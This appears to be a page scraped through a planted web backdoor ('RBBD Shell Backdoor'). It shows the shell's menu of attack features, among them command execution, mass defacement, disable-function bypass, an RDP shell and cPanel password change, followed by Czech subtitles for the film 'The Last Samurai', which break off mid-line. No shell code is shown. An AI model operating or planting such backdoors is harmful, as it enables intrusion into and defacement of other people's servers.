⚜ RBBD Shell Backdoor ⚜
Current Dir
:
D:
/
_Titulky BD
/
Home
Upload
Command
Config
Jumping
Symlink
Mass Deface
Bypass Disable Function
K-RDP 5H3LL
Adminer
Change Password cPanel
Zone-H
Current File : D:/_Titulky BD/Posledni-samuraj-2003-cze-full.srt
1 00:00:27,416 --> 00:00:30,453 Japonsko prý stvořil meč. 2 00:00:32,296 --> 00:00:36,050 Dávní bohové ponořili korálovou čepel do oceánu... 3 00:00:36,383 --> 00:00:37,941 ...a když ji vytáhli, 4 00:00:38,135 --> 00:00:44,051 do moře ukáply 4 dokonalé kapky, z nichž vznikly japonské ostrovy. 5 00:00:46,268 --> 00:00:51,058 Podle mě Japonsko stvořila hrstka statečných mužů. 6 00:00:52,650 --> 00:00:57,678 Bojovníků ochotných položit život za téměř zapomenuté slovo: 7 00:00:58,906 --> 00:01:00,783 Čest. 8 00:01:46,120 --> 00:01:50,033 POSLEDNÍ SAMURAJ 9 00:01:55,546 --> 00:01:59,061 Dámy a pánové, Winchester, 10 00:01:59,341 --> 00:02:03,334 jednička ve výzbroji používaná americkou armádou, 11 00:02:03,637 --> 00:02:06,071 slaví sté výročí státu 12 00:02:06,307 --> 00:02:09,982 a představuje vám pravého amerického hrdinu. 13 00:02:10,269 --> 00:02:13,944 Muže, který patří mezi nejvíce vyznamenané vojáky této země. 14 00:02:14,231 --> 00:02:19,988 Získal medaili cti za statečnost prokázanou v Gettysburgu. 15 00:02:20,821 --> 00:02:23,699 Patřil do sedmé kavalérie, 16 00:02:23,949 --> 00:02:25,507 která vedla vítězné bitvy 17 00:02:25,701 --> 00:02:30,058 proti nejdivočejšímu indiánskému kmeni. Dámy a pánové, 18 00:02:30,372 --> 00:02:32,442 představuji vám 19 00:02:33,250 --> 00:02:36,526 kapitána Nathana Algrena. 20 00:02:43,135 --> 00:02:46,605 Kapitán Nathan Algren. 21 00:02:48,223 --> 00:02:49,212 Ano! 22 00:02:49,600 --> 00:02:51,238 Ano! 23 00:02:52,227 --> 00:02:54,616 Malé strpení, dámy a pánové. 24 00:02:57,650 --> 00:03:01,882 Algrene, běž tam! Tohle je tvoje poslední vystoupení! Máš padáka! 25 00:03:02,237 --> 00:03:04,148 Teď tam koukej jít! 26 00:03:05,783 --> 00:03:08,536 No tak! Už toho mám dost! 27 00:03:08,786 --> 00:03:10,378 Tak běž! 28 00:03:11,497 --> 00:03:12,486 Ano! 29 00:03:20,130 --> 00:03:23,406 Díky, pane McCabe, jste příliš laskav. 30 00:03:25,260 --> 00:03:30,778 Tohle je, dámy a pánové, puška, která dobývá západ. 31 00:03:31,475 --> 00:03:34,547 Několikrát jsem byl... 32 00:03:36,647 --> 00:03:39,923 ...obklíčen davem... 33 00:03:42,069 --> 00:03:46,699 ...rozlícených nepřátel. Pouze tahle puška... 34 00:03:47,032 --> 00:03:51,628 ...mě dělila od jisté a ukrutné smrti. 35 00:03:52,538 --> 00:03:58,170 To vám můžu říct, rudoši jsou hroziví nepřátelé. 36 00:03:58,711 --> 00:04:03,910 Kdyby bylo po jejich, tenhle skalp by byl dávno pryč 37 00:04:04,258 --> 00:04:08,490 a před vámi by dnes stál holohlavý muž. 38 00:04:13,392 --> 00:04:17,783 Jako ti nebozí parchanti u Little Bighornu. 39 00:04:21,066 --> 00:04:23,978 Těla svlečená do naha... 40 00:04:24,570 --> 00:04:26,686 ...zohavená. 41 00:04:27,781 --> 00:04:30,932 Nechali je shnít na slunci. 42 00:04:33,912 --> 00:04:38,269 Tohle je, dámy a pánové, model 73. 43 00:04:39,043 --> 00:04:40,317 Trapper. 44 00:04:41,045 --> 00:04:45,800 7 střel bez nabíjení, přesná na 400 metrů, výstřel za vteřinu. 45 00:04:46,133 --> 00:04:48,931 Viděl jsi někdy, co to s člověkem udělá, synku? 46 00:04:49,178 --> 00:04:52,136 Vyvrtala by ve tvém tátovi díru o průměru 15 centimetrů. 47 00:04:52,389 --> 00:04:53,868 Je to tak, slečinko. 48 00:04:54,350 --> 00:05:00,061 Mohli byste zabít 5, 6, 7 indiánů, aniž byste museli znovu nabít. 49 00:05:00,439 --> 00:05:02,589 Všimněte si patentovaného zásobníku 50 00:05:02,816 --> 00:05:05,410 a jak se kohoutek lehce natáhne. 51 00:05:20,292 --> 00:05:24,001 Díky ve jménu těch, kteří zemřeli 52 00:05:24,421 --> 00:05:29,859 za technický rozvoj a lepší obchodní příležitosti. 53 00:05:31,595 --> 00:05:36,305 Pan McCabe teď přijme vaše objednávky. Bůh vám žehnej. 54 00:05:44,441 --> 00:05:47,638 Opravdu, máš cit pro melodrama. 55 00:05:47,945 --> 00:05:50,743 - Ty žiješ? - To vskutku ano. 56 00:05:51,824 --> 00:05:55,339 Ten tvůj Custer mi řekl: Jedeme na Little Bighorn. 57 00:05:55,661 --> 00:05:59,210 Já na to: „Proč mluvíte i o mně?“ To byla moje propustka z vojska. 58 00:05:59,498 --> 00:06:04,208 Mám 9 životů, ale ještě něco navíc. Mám pro nás dobrou práci. 59 00:06:04,586 --> 00:06:07,225 Budeš ji asi brzo potřebovat. 60 00:06:07,464 --> 00:06:09,295 Co je to za práci? 61 00:06:09,508 --> 00:06:13,467 Jediná, pro kterou se hodíš. Práce pro muže. 62 00:06:15,556 --> 00:06:19,105 Pokud ovšem tvoje srdce netíhne k divadelní kariéře. 63 00:06:23,564 --> 00:06:24,997 Nathane. 64 00:06:25,316 --> 00:06:27,386 Jenom ho vyslechni. 65 00:06:27,693 --> 00:06:29,763 Už je to pár let. Rád tě vidím. 66 00:06:30,237 --> 00:06:33,991 Představuji ti pana Omuru z Japonska a jeho společníka. 67 00:06:34,283 --> 00:06:36,922 Jeho jméno nedokážu vyslovit. 68 00:06:37,161 --> 00:06:39,231 Posaďte se, prosím. 69 00:06:44,084 --> 00:06:45,233 Whisky. 70 00:06:45,878 --> 00:06:50,156 Japonsko se chce stát civilizovanou zemí. 71 00:06:51,175 --> 00:06:56,454 Pan Omura najímá bílé experty, aby vycvičili jejich vojsko. 72 00:06:57,056 --> 00:06:58,933 Jestli vše půjde dobře, 73 00:06:59,141 --> 00:07:03,612 císař udělí Spojeným státům výsadní právo pro dovoz zbraní. 74 00:07:09,068 --> 00:07:12,378 Mám smlouvu se společností Winchester. 75 00:07:12,863 --> 00:07:16,219 Pan Omura si určitě dokáže představit, co je to smlouva. 76 00:07:16,492 --> 00:07:20,849 Vaše představení vám vynáší 25 dolarů týdně. 77 00:07:21,830 --> 00:07:25,186 My vám dáme 400 dolarů měsíčně. 78 00:07:29,546 --> 00:07:32,060 Pět set. Pro každého. 79 00:07:32,800 --> 00:07:36,315 A dalších pět set, až skončíme. 80 00:07:37,638 --> 00:07:41,426 Kolik dalších pravých hrdinů máte připravených? 81 00:07:43,519 --> 00:07:44,872 Je hrubý. 82 00:07:45,604 --> 00:07:48,164 Takhle to tady chodí. Je to země laciných obchodníků. 83 00:07:49,358 --> 00:07:53,067 - Whisky. - Proti komu je budeme cvičit? 84 00:07:53,737 --> 00:07:58,572 Jmenuje se Kacumoto Moricugu. Býval to císařův učitel. 85 00:07:58,951 --> 00:08:00,464 Je to samuraj. 86 00:08:00,661 --> 00:08:03,698 - Samuraj? - Vy byste asi řekli „bojovník“. 87 00:08:03,998 --> 00:08:07,673 Pan Omura ví, že si umíme poradit se zrádci. 88 00:08:07,960 --> 00:08:09,393 Opravdu? 89 00:08:09,878 --> 00:08:11,550 Dokonce četl vaši knihu. 90 00:08:11,755 --> 00:08:16,510 Algrenova studie o kmenech byla klíčová pro vítězství nad Čejeny. 91 00:08:30,357 --> 00:08:33,474 Promiňte, co je tak legrační? 92 00:08:34,987 --> 00:08:39,378 Sbor je zase pohromadě. To je tak ... 93 00:08:40,534 --> 00:08:42,809 inspirující. 94 00:08:48,083 --> 00:08:49,402 Omluvte mě. 95 00:08:52,796 --> 00:08:54,752 Musím na toaletu. 96 00:08:58,552 --> 00:09:03,068 - Žádný problém. Promluvím s ním. - Plukovníku Bagleyi. 97 00:09:03,557 --> 00:09:07,106 Vyhledali jsme vás, protože jste nadřízený kapitána Algrena. 98 00:09:07,394 --> 00:09:11,069 - Ujistil jste nás o jeho účasti. - Půjde do toho. 99 00:09:11,482 --> 00:09:13,677 Potřebuji jen pár minut. 100 00:09:15,653 --> 00:09:17,245 Nathane. 101 00:09:18,989 --> 00:09:23,540 Tenkrát jsem plnil rozkazy. Nemám žádné výčitky. 102 00:09:25,621 --> 00:09:29,057 Co kdybychom nechali minulost minulostí? 103 00:09:31,919 --> 00:09:36,435 - Mám zabíjet Japonce? Dobře. - Nechci, abys někoho zabíjel. 104 00:09:36,757 --> 00:09:40,147 Mám zabíjet jejich nepřátele? Udělám to. 105 00:09:40,469 --> 00:09:43,700 Vzbouřence, Siouxy, Čejeny ... 106 00:09:44,014 --> 00:09:47,723 Za 500 babek měsíčně zabiju, koho budeš chtít. 107 00:09:48,060 --> 00:09:50,290 Ale pamatuj si jedno. 108 00:09:51,522 --> 00:09:55,071 Tebe bych zabil s chutí i zadarmo. 109 00:10:10,207 --> 00:10:12,880 12. července 1876. 110 00:10:13,168 --> 00:10:16,524 V mořské prázdnotě je jakási útěcha. 111 00:10:16,839 --> 00:10:19,911 Žádná minulost, ani budoucnost. 112 00:10:22,344 --> 00:10:26,895 Pak náhle stojím tváří v tvář tvrdé skutečnosti. 113 00:10:29,768 --> 00:10:34,842 Najali mě, abych pomohl potlačit vzpouru dalšího kmenového vůdce. 114 00:10:35,232 --> 00:10:39,225 Očividně je to jediná práce, ke které se hodím. 115 00:10:41,030 --> 00:10:44,102 Ironie mého života mě týrá. 116 00:11:18,025 --> 00:11:21,461 Přístav Jokohama, 1876 117 00:11:55,187 --> 00:11:57,747 - Vy jste nejspíš kapitán Algren. - Ano. 118 00:11:57,982 --> 00:12:00,371 Znamenitě. Jak se máte? Já jsem Simon Graham. 119 00:12:00,609 --> 00:12:05,205 Před dvaceti lety to bylo ospalé městečko. Podívejte na něj teď. 120 00:12:05,572 --> 00:12:08,370 Císař šílí po všem západním. 121 00:12:08,701 --> 00:12:11,499 Podle samurajů jsou změny příliš rychlé. 122 00:12:11,745 --> 00:12:15,215 Jako by se starodávné a moderní svářilo o duši Japonska. 123 00:12:15,499 --> 00:12:20,619 Váš nový zaměstnavatel, pan Omura, přiváží všemožné západní experty. 124 00:12:20,963 --> 00:12:25,241 Právníky z Francie, inženýry z Německa, architekty z Holandska, 125 00:12:25,592 --> 00:12:28,345 a teď, samozřejmě, vojáky z Ameriky. 126 00:12:28,637 --> 00:12:32,676 Přišel jsem před lety s britskou obchodní delegací. 127 00:12:33,309 --> 00:12:35,300 Brzy mě propustili. 128 00:12:35,519 --> 00:12:40,877 Bohužel jsem říkal pravdu v zemi, kde nikdo neříká, co si myslí. 129 00:12:41,233 --> 00:12:45,192 Takže teď velice věrně překládám lži ostatních. 130 00:12:50,534 --> 00:12:54,004 2000 let nikdo neurozený nemohl císaře ani spatřit. 131 00:12:54,288 --> 00:12:58,327 Uvědomte si, jaká je to čest. Všechno podléhá rituálu. 132 00:12:58,917 --> 00:13:01,590 Můžete se na něho podívat, ale nesmíte mluvit bez oslovení. 133 00:13:01,879 --> 00:13:05,872 Jestli se postaví, pokloňte se. Pokloní-li se, vy se pokloníte více. 134 00:13:06,175 --> 00:13:09,963 Vypadám důstojně? Neměl jsem to na sobě celou věčnost. 135 00:13:10,304 --> 00:13:12,693 Kolem bránice je to dost těsné. 136 00:13:27,780 --> 00:13:29,338 Pokloňte se. 137 00:13:30,783 --> 00:13:33,616 Božský císař Meidži vás vítá. 138 00:13:33,911 --> 00:13:37,460 Je vděčný za pomoc poskytnutou vaší zemí. 139 00:13:37,790 --> 00:13:42,466 Snad dosáhneme stejné národní harmonie jako vaše země. 140 00:13:50,844 --> 00:13:56,123 Císaře zajímá, jestli jste bojovali s americkými indiány. 141 00:13:56,558 --> 00:13:59,436 Ano, výsosti. Jsou to krutí protivníci. 142 00:14:07,987 --> 00:14:12,856 Císař se ptá kapitána Algrena, jestli opravdu nosí orlí pera, 143 00:14:13,200 --> 00:14:17,955 před bojem si malují obličej a nemají strach. 144 00:14:21,709 --> 00:14:23,540 Jsou velmi stateční. 145 00:14:32,219 --> 00:14:33,618 Pokloňte se. 146 00:14:41,603 --> 00:14:44,117 Děkuji mnohokrát. 147 00:14:56,076 --> 00:14:58,306 Krok zpátky. 148 00:15:00,247 --> 00:15:04,445 Krok zpátky. Krok zpátky a otočte se. 149 00:15:07,796 --> 00:15:11,789 Takže, vy malí pancharti. Budete stát zpříma. 150 00:15:12,134 --> 00:15:17,367 Jinak nakopu každý dálnovýchodní zadek, který se mi namane. 151 00:15:20,017 --> 00:15:21,575 Velmi dobře, seržante. 152 00:15:21,769 --> 00:15:24,761 Když víte, jak na to, všechno jde jako po másle. 153 00:15:25,189 --> 00:15:27,908 První řada pokleknout, připravit pušky. 154 00:15:29,693 --> 00:15:33,845 - Druhá řada pokleknout ... - 22. července 1876. 155 00:15:34,448 --> 00:15:38,964 Za 6 měsíců práce dostanu stejný plat jako kapitán za tři roky. 156 00:15:39,328 --> 00:15:42,001 Za to, že z orientálců dělám vojáky. 157 00:15:43,999 --> 00:15:48,675 Jsou to odvedenci. Rolníci, kteří nikdy neviděli pušku. 158 00:15:49,463 --> 00:15:50,862 Pal. 159 00:15:52,549 --> 00:15:58,021 Velí jim generál Hasegawa. Je drobný, ale má nesmírný respekt. 160 00:15:58,722 --> 00:16:02,635 Co mi může generál říct o tom samurajovi Kacumotovi? 161 00:16:07,982 --> 00:16:11,577 O Kacumotovi a jeho povstání toho ví zřejmě hodně. 162 00:16:11,860 --> 00:16:14,420 Budu na něho spoléhat, až se střetnu se samuraji. 163 00:16:14,655 --> 00:16:16,088 Kdo jim dodává zbraně? 164 00:16:24,164 --> 00:16:28,362 Kacumoto se nezostuzuje tím, že by používal střelné zbraně. 165 00:16:28,669 --> 00:16:29,897 Nestřílí? 166 00:16:30,087 --> 00:16:33,602 Pro ty, kteří ctí starý pořádek, je Kacumoto hrdina. 167 00:16:33,924 --> 00:16:37,837 - Jak dobře ho zná? - Bojovali spolu za císaře. 168 00:16:38,721 --> 00:16:40,791 Bojoval se samuraji? 169 00:16:42,683 --> 00:16:43,798 On je samuraj. 170 00:16:50,733 --> 00:16:55,011 Pochopte. Kacumoto zasvětil svůj meč ochraně císaře. 171 00:16:55,321 --> 00:16:57,881 Samurajův meč je prý jeho duší. 172 00:16:58,157 --> 00:17:02,753 Samurajové jsou paradoxní. Chci o nich psát, ale jsou uzavření. 173 00:17:03,078 --> 00:17:05,433 Ti mizerové stále nosí zbroj. 174 00:17:05,706 --> 00:17:11,736 Irové měli ještě bederní roušky a oni byli už výborní válečníci. 175 00:17:12,171 --> 00:17:14,844 Chci znát jejich bojovou taktiku. 176 00:17:15,132 --> 00:17:17,930 Mám knihy, které stačí přeložit. 177 00:17:18,177 --> 00:17:22,614 Co nevidět se naučí japonsky. S indiány žvanil jedna radost. 178 00:17:22,931 --> 00:17:24,250 Opravdu? 179 00:17:24,433 --> 00:17:27,072 Kolega lingvista? Výborně. 180 00:17:27,478 --> 00:17:30,595 Do toho. Řekněte pár slov tím barbarským jazykem. 181 00:17:30,898 --> 00:17:33,412 Třeba „dobrý den“ nebo „na shledanou“. 182 00:17:33,651 --> 00:17:37,724 Ne, ne „Vyřízněte mu jazyk a uvařte ho v oleji.“ 183 00:17:39,365 --> 00:17:42,755 Zítra brzy vstáváme, kapitáne. Půjdeme spát, ne? 184 00:17:43,035 --> 00:17:47,950 Skalpování mě fascinuje. Nikdy jsem nepochopil, jak se to dělá. 185 00:17:53,629 --> 00:17:58,100 Představte si, že vás někdo nenávidí tak strašně, 186 00:17:58,467 --> 00:18:03,416 že když ležíte bezmocný, tváří k zemi, chytne vás za vlasy 187 00:18:09,019 --> 00:18:14,537 a tupou čepelí rezavého nože odřezává kůži na temeni. 188 00:18:16,026 --> 00:18:18,494 Vžijte se do pocitu, 189 00:18:18,779 --> 00:18:24,012 že vám někdo prudce a rychle škubne vlasy, 190 00:18:24,368 --> 00:18:28,964 aby odtrhl všechny částečky napojené na váš nervový systém. 191 00:18:32,501 --> 00:18:37,370 Pak si to snad trochu dokážete představit, pane Grahame. 192 00:18:44,680 --> 00:18:47,877 Jak rychle přeložíte ty knihy? 193 00:18:49,143 --> 00:18:50,622 Hned. 194 00:18:53,063 --> 00:18:56,373 Jsem rád, že vás samurajové tak zajímají. 195 00:18:56,650 --> 00:19:00,484 Jsou mi úplně ukradení. Chci znát svého nepřítele. 196 00:19:00,821 --> 00:19:03,494 Nebudu spát, dokud je nepřeložím. 197 00:19:08,620 --> 00:19:10,372 Dobrou noc. 198 00:19:12,166 --> 00:19:15,317 - Dáte si něco? - Tohle je trestná výprava. 199 00:19:15,586 --> 00:19:18,339 Plukovníku Bagleyi, tihle lidé nemají s útoky nic společného. 200 00:19:18,589 --> 00:19:21,103 - Dobrou noc, pane. - Pomalu, chlapci. 201 00:20:06,804 --> 00:20:07,793 Pal. 202 00:20:17,481 --> 00:20:20,678 Ještě že střílí stejným směrem. 203 00:20:20,943 --> 00:20:23,298 Vyjádřil jste to přesně. 204 00:20:27,324 --> 00:20:29,633 Pažbu proti rameni. 205 00:20:31,829 --> 00:20:34,138 Zaměřte skrze mušku. 206 00:20:34,707 --> 00:20:37,096 Teď pomalu. 207 00:20:41,213 --> 00:20:43,249 Velmi dobře. 208 00:20:44,049 --> 00:20:45,402 Nathane. 209 00:20:49,722 --> 00:20:52,680 Kacumoto zaútočil na železnici na hranicích své provincie. 210 00:20:52,933 --> 00:20:55,925 Nemůžeme vládnout zemi, kde není možné volně cestovat. 211 00:20:56,186 --> 00:21:00,657 Musíme ho ihned zastavit. Má trať je pro tuto zemi prioritou. 212 00:21:01,775 --> 00:21:02,764 Nejsou připraveni. 213 00:21:02,985 --> 00:21:06,580 Rebelové nemají ani jednu pušku. Jsou to barbaři s luky a šípy. 214 00:21:06,864 --> 00:21:10,493 Kteří se zabývali posledních tisíc let výhradně bojem. 215 00:21:10,784 --> 00:21:14,015 Máš lepší palební sílu a více lidí. 216 00:21:15,205 --> 00:21:18,277 Na můj rozkaz pluk vyrazí proti Kacumotovi. 217 00:21:18,584 --> 00:21:21,257 Najdete ho a utkáte se s ním. 218 00:21:25,382 --> 00:21:29,853 Nabijte. Řekněte mu, ať na mě vystřelí. 219 00:21:30,262 --> 00:21:33,334 - Prosím? - Řekněte mu, 220 00:21:33,849 --> 00:21:37,239 že jestli mě nezastřelí, zabiju ho. 221 00:21:38,479 --> 00:21:40,356 Jestli můžu něco říct ... 222 00:21:40,731 --> 00:21:42,642 Řekněte mu to. 223 00:21:43,233 --> 00:21:44,871 Řekněte mu to. 224 00:21:51,033 --> 00:21:52,102 Nabijte. 225 00:21:56,705 --> 00:21:57,899 Nabijte. 226 00:22:01,293 --> 00:22:02,408 Rychleji. 227 00:22:03,754 --> 00:22:04,982 Rychleji. 228 00:22:09,969 --> 00:22:11,846 Zastřel mě, sakra. 229 00:22:16,642 --> 00:22:17,995 Pal. 230 00:22:20,312 --> 00:22:21,904 Pal. 231 00:22:48,132 --> 00:22:50,168 Nejsou připraveni. 232 00:22:52,344 --> 00:22:54,653 Pluk odchází v 6 ráno. 233 00:23:25,878 --> 00:23:30,998 1 600 kilometrů trati položených během dvou let. To je úžasné. 234 00:23:31,884 --> 00:23:33,875 Omura to všechno vlastní? 235 00:23:34,178 --> 00:23:36,453 Bude, až se zbaví samurajů. 236 00:23:37,264 --> 00:23:42,975 - Jak chcete najít Kacumota? - Nebojte. On si jistě najde nás. 237 00:23:56,033 --> 00:23:58,593 Provincie Jošino, 1876 238 00:23:58,827 --> 00:24:02,376 První rota vytvoří přední linii vedle mě. 239 00:24:02,956 --> 00:24:05,265 Druhá rota se seřadí podle první. 240 00:24:05,960 --> 00:24:08,315 Třetí a čtvrtá se seřadí za nimi. 241 00:24:08,587 --> 00:24:10,066 Sevřete řady na můj rozkaz. 242 00:24:10,255 --> 00:24:14,043 - Kde je Hasegawa? - Odmítá s Kacumotem bojovat. 243 00:24:17,054 --> 00:24:19,648 - Zaujměte pozice. - Kapitáne Algrene. 244 00:24:20,182 --> 00:24:23,299 - Nepřijeli jsme sem bojovat. - A kdo jim bude velet? 245 00:24:23,602 --> 00:24:27,561 - Jejich velitelé. Pojďme do týlu. - Budeme tam co nevidět. 246 00:24:27,856 --> 00:24:29,130 Nasaďte bajonety. 247 00:24:33,487 --> 00:24:36,320 - Pojeďte se mnou do týlu. - Jistě. 248 00:24:42,329 --> 00:24:46,402 Hlas se v týlu a zkontroluj polohu zásobovacích vozů. 249 00:24:47,835 --> 00:24:51,953 - Slyšel jsi můj rozkaz? - Ano, pane. -Tak poslechni. 250 00:24:52,298 --> 00:24:55,688 - Hned. - S veškerou úctou, ale trhni si. 251 00:25:01,807 --> 00:25:03,286 Nabít. 252 00:25:32,713 --> 00:25:34,431 Samurajové jdou. 253 00:25:35,716 --> 00:25:37,672 To bude v pořádku, synu. 254 00:25:54,902 --> 00:25:57,257 Zaujměte palebné postavení. 255 00:26:10,668 --> 00:26:13,182 Střílejte jen na můj rozkaz. 256 00:26:35,234 --> 00:26:36,633 Nestřílejte. 257 00:26:37,444 --> 00:26:39,321 Nestřílejte. 258 00:26:45,828 --> 00:26:47,181 Znovu nabít. 259 00:26:51,834 --> 00:26:53,552 Sevřete řadu. 260 00:26:55,170 --> 00:26:56,523 Palte. 261 00:27:13,022 --> 00:27:15,217 Nadporučíku, stáhněte se. 262 00:27:57,691 --> 00:27:59,124 Zebe. 263 00:29:39,627 --> 00:29:41,106 Ten je můj. 264 00:30:08,530 --> 00:30:09,883 Zadržte. 265 00:30:17,581 --> 00:30:19,094 Odveďte ho. 266 00:32:26,377 --> 00:32:28,413 Jak se jmenujete? 267 00:32:30,130 --> 00:32:32,644 Ty drzá svině, odpověz. 268 00:32:44,853 --> 00:32:46,081 Nech ho být. 269 00:32:55,739 --> 00:32:59,971 Tohle je vesnice mého syna. Jsme hluboko v horách a začíná zima. 270 00:33:00,285 --> 00:33:02,515 Nemůžete uprchnout. 271 00:33:04,581 --> 00:33:06,060 Znamenitě. 272 00:35:09,957 --> 00:35:12,152 Proč jste ho ušetřil, pane? 273 00:35:12,960 --> 00:35:15,235 Je poražen a zahanben. 274 00:35:16,213 --> 00:35:17,612 Měl by se zabít. 275 00:35:17,840 --> 00:35:19,990 U nich to není zvykem. 276 00:35:24,763 --> 00:35:25,752 Potom ... 277 00:35:26,807 --> 00:35:28,240 ho zabiju já. 278 00:35:28,976 --> 00:35:31,934 Otče, nemyslím si ... 279 00:35:34,690 --> 00:35:38,399 Udžio, zabíjení bude ještě dost. 280 00:35:39,528 --> 00:35:42,600 Musíme poznat nového nepřítele. 281 00:35:44,325 --> 00:35:45,724 Držte ho při životě. 282 00:35:55,044 --> 00:35:56,238 Je ve špatném stavu. 283 00:35:57,713 --> 00:36:01,183 - Sake. - Sake? 284 00:36:02,885 --> 00:36:04,603 Sake. 285 00:36:13,771 --> 00:36:15,329 Taka se o vás postará. 286 00:36:15,856 --> 00:36:17,608 Sake. 287 00:37:17,251 --> 00:37:18,764 Sake. 288 00:37:22,631 --> 00:37:25,145 Dej mu napít, teto. 289 00:37:25,801 --> 00:37:27,359 To není dobrý nápad. 290 00:37:27,553 --> 00:37:28,542 Tohle je moje vesnice. 291 00:37:28,721 --> 00:37:30,837 A tohle je můj dům. 292 00:37:35,894 --> 00:37:38,533 Prosím, sake. 293 00:37:48,782 --> 00:37:50,261 Sake. 294 00:38:07,760 --> 00:38:10,194 Říkal jsem ti to. 295 00:39:03,857 --> 00:39:05,006 Dobré ráno. 296 00:40:56,053 --> 00:40:57,884 Tamhle. 297 00:40:58,806 --> 00:41:00,762 Jít. Vy jít. 298 00:41:02,476 --> 00:41:04,512 Jak se jmenuješ? 299 00:41:04,770 --> 00:41:07,000 Nějak se asi jmenuješ, ne? 300 00:41:10,651 --> 00:41:13,085 Ty mi asi nerozumíš, že jo? 301 00:41:14,446 --> 00:41:16,402 Vím, proč nemluvíš. 302 00:41:17,199 --> 00:41:21,670 Jsi naštvaný, protože tě přinutili nosit tyhle hadry. 303 00:41:23,664 --> 00:41:25,541 Do prdele. 304 00:42:04,121 --> 00:42:08,433 Moje rodina postavila tento chrám před tisíci lety. 305 00:42:10,169 --> 00:42:15,243 Jmenuji se Kacumoto. Jak se jmenujete vy? 306 00:42:21,722 --> 00:42:24,395 Nejsou moje slova správná? 307 00:42:29,021 --> 00:42:32,172 Budu si s vámi procvičovat angličtinu. 308 00:42:33,525 --> 00:42:36,562 Jestli mi prokážete tuto čest. 309 00:42:37,404 --> 00:42:41,113 Nechal jste mě žít, abyste si procvičil angličtinu? 310 00:42:41,408 --> 00:42:45,560 - Co tedy chcete? - Poznat svého nepřítele. 311 00:42:47,373 --> 00:42:49,933 Viděl jsem, co děláte nepřátelům. 312 00:42:50,459 --> 00:42:55,055 - Bojovníci u vás nezabíjejí? - Nesekají hlavu poraženým. 313 00:42:56,882 --> 00:43:01,478 Generál Hasegawa mě požádal, abych mu pomohl ukončit život. 314 00:43:02,137 --> 00:43:04,890 Samuraj nesnese hanbu z porážky. 315 00:43:06,225 --> 00:43:08,944 Byla to čest useknout mu hlavu. 316 00:43:11,522 --> 00:43:17,074 Mnoho našich zvyků je vám cizích a naopak. 317 00:43:18,237 --> 00:43:23,550 Například nepředstavit se považujeme za nezdvořilé i mezi nepřáteli. 318 00:43:30,040 --> 00:43:31,996 Nathan Algren. 319 00:43:34,336 --> 00:43:39,968 Je pro mě ctí, že vás poznávám. Tato konverzace mě potěšila. 320 00:43:40,592 --> 00:43:44,870 - Mám otázky. - Představili jsme se. 321 00:43:45,222 --> 00:43:48,020 To je velmi pěkná konverzace. 322 00:43:48,267 --> 00:43:49,905 - Mám otázky. - Později. 323 00:43:50,227 --> 00:43:53,299 Kdo byl ten bojovník v červené zbroji? 324 00:43:53,564 --> 00:43:57,318 - Můj švagr. Hirotaró. - A ta žena, co se o mě stará? 325 00:43:57,609 --> 00:44:01,522 Moje sestra, Hirotaróva žena. Jmenuje se Taka. 326 00:44:02,489 --> 00:44:04,923 Zabil jsem jejího manžela? 327 00:44:05,492 --> 00:44:07,608 Byla to dobrá smrt. 328 00:44:20,716 --> 00:44:21,751 Vy. 329 00:44:21,925 --> 00:44:26,123 Pojďte dál, prosím. 330 00:44:55,960 --> 00:44:56,949 Děkuji. 331 00:45:05,552 --> 00:45:09,261 Smrdí jako prase. Řekni bratrovi, že to nesnesu. 332 00:45:09,807 --> 00:45:10,842 Řekni mu to sama. 333 00:45:11,016 --> 00:45:13,052 Ať se aspoň vykoupe. 334 00:46:19,793 --> 00:46:21,146 To bylo dobré. 335 00:46:24,048 --> 00:46:26,437 Jsou to sice děti, ale silné. 336 00:46:26,675 --> 00:46:28,552 Zkuste to. 337 00:47:11,261 --> 00:47:12,330 Polož ten meč. 338 00:49:39,994 --> 00:49:43,031 Právě jsem si uvědomil, že jsem něco zanedbal. 339 00:49:43,330 --> 00:49:47,926 Odpusť mi, chci ti poděkovat, že ses o mě včera postaral. 340 00:49:48,294 --> 00:49:51,809 To je tvůj úkol, ne? Chránit mě. 341 00:49:53,716 --> 00:49:55,672 Dobrá práce, Bobe. 342 00:49:56,051 --> 00:49:58,690 Nevadí ti, když ti budu říkat Bobe? 343 00:49:59,013 --> 00:50:02,688 Jednoho Boba jsem znal. Byl ošklivý jako mezek. 344 00:50:04,018 --> 00:50:06,134 Líbíš se ženám, Bobe? 345 00:50:09,982 --> 00:50:13,861 Udžio vás učí bojovat japonským mečem. 346 00:50:15,487 --> 00:50:17,045 To tedy ano. 347 00:50:19,074 --> 00:50:22,271 Bojoval jste s vašimi indiány? 348 00:50:27,541 --> 00:50:28,769 Ano. 349 00:50:28,959 --> 00:50:32,429 - Jakou jste měl v té válce roli? - Proč? -Chci se poučit. 350 00:50:32,713 --> 00:50:36,023 - Přečtěte si knihu. - Dám přednost dobré konverzaci. 351 00:50:36,300 --> 00:50:39,975 - Proč? - Protože oba studujeme válku. 352 00:50:47,603 --> 00:50:49,161 Tedy ... 353 00:50:50,356 --> 00:50:53,393 Vy jste byl v armádě generál? 354 00:50:55,235 --> 00:50:56,509 Ne. 355 00:50:57,821 --> 00:51:00,210 Byl jsem kapitán. 356 00:51:00,783 --> 00:51:02,694 To je nízká hodnost? 357 00:51:05,162 --> 00:51:06,959 Střední hodnost. 358 00:51:08,248 --> 00:51:10,364 A kdo byl váš generál? 359 00:51:14,672 --> 00:51:19,462 - Nevedete snad vzpouru? - U vás neradi konverzujete? 360 00:51:20,803 --> 00:51:24,637 Byl to podplukovník. Jmenoval se Custer. 361 00:51:25,766 --> 00:51:29,076 Toho znám. Zabil hodně bojovníků. 362 00:51:29,478 --> 00:51:33,471 - Ano. Hodně. - Takže to byl dobrý generál. 363 00:51:33,857 --> 00:51:38,533 Ne, nebyl. Byl arogantní a příliš riskoval. 364 00:51:38,862 --> 00:51:42,616 Vedl jeden prapor do masakru proti dvěma tisícům zuřivých indiánů. 365 00:51:42,950 --> 00:51:45,100 Dvěma tisícům? 366 00:51:45,411 --> 00:51:48,801 - Kolik mužů měl Custer? - 211. 367 00:51:49,832 --> 00:51:52,266 Tenhle generál se mi líbí. 368 00:51:52,501 --> 00:51:56,414 Byl to vrah, který se zamiloval do vlastní legendy. 369 00:51:56,714 --> 00:52:00,832 - Jeho vojáci kvůli tomu zemřeli. - To je dobrá smrt. 370 00:52:01,135 --> 00:52:05,253 - Možná se vám to taky poštěstí. - Jestli je to můj osud. 371 00:52:06,682 --> 00:52:10,038 - Co ode mě chcete? - Co chcete sám od sebe? 372 00:52:11,937 --> 00:52:15,566 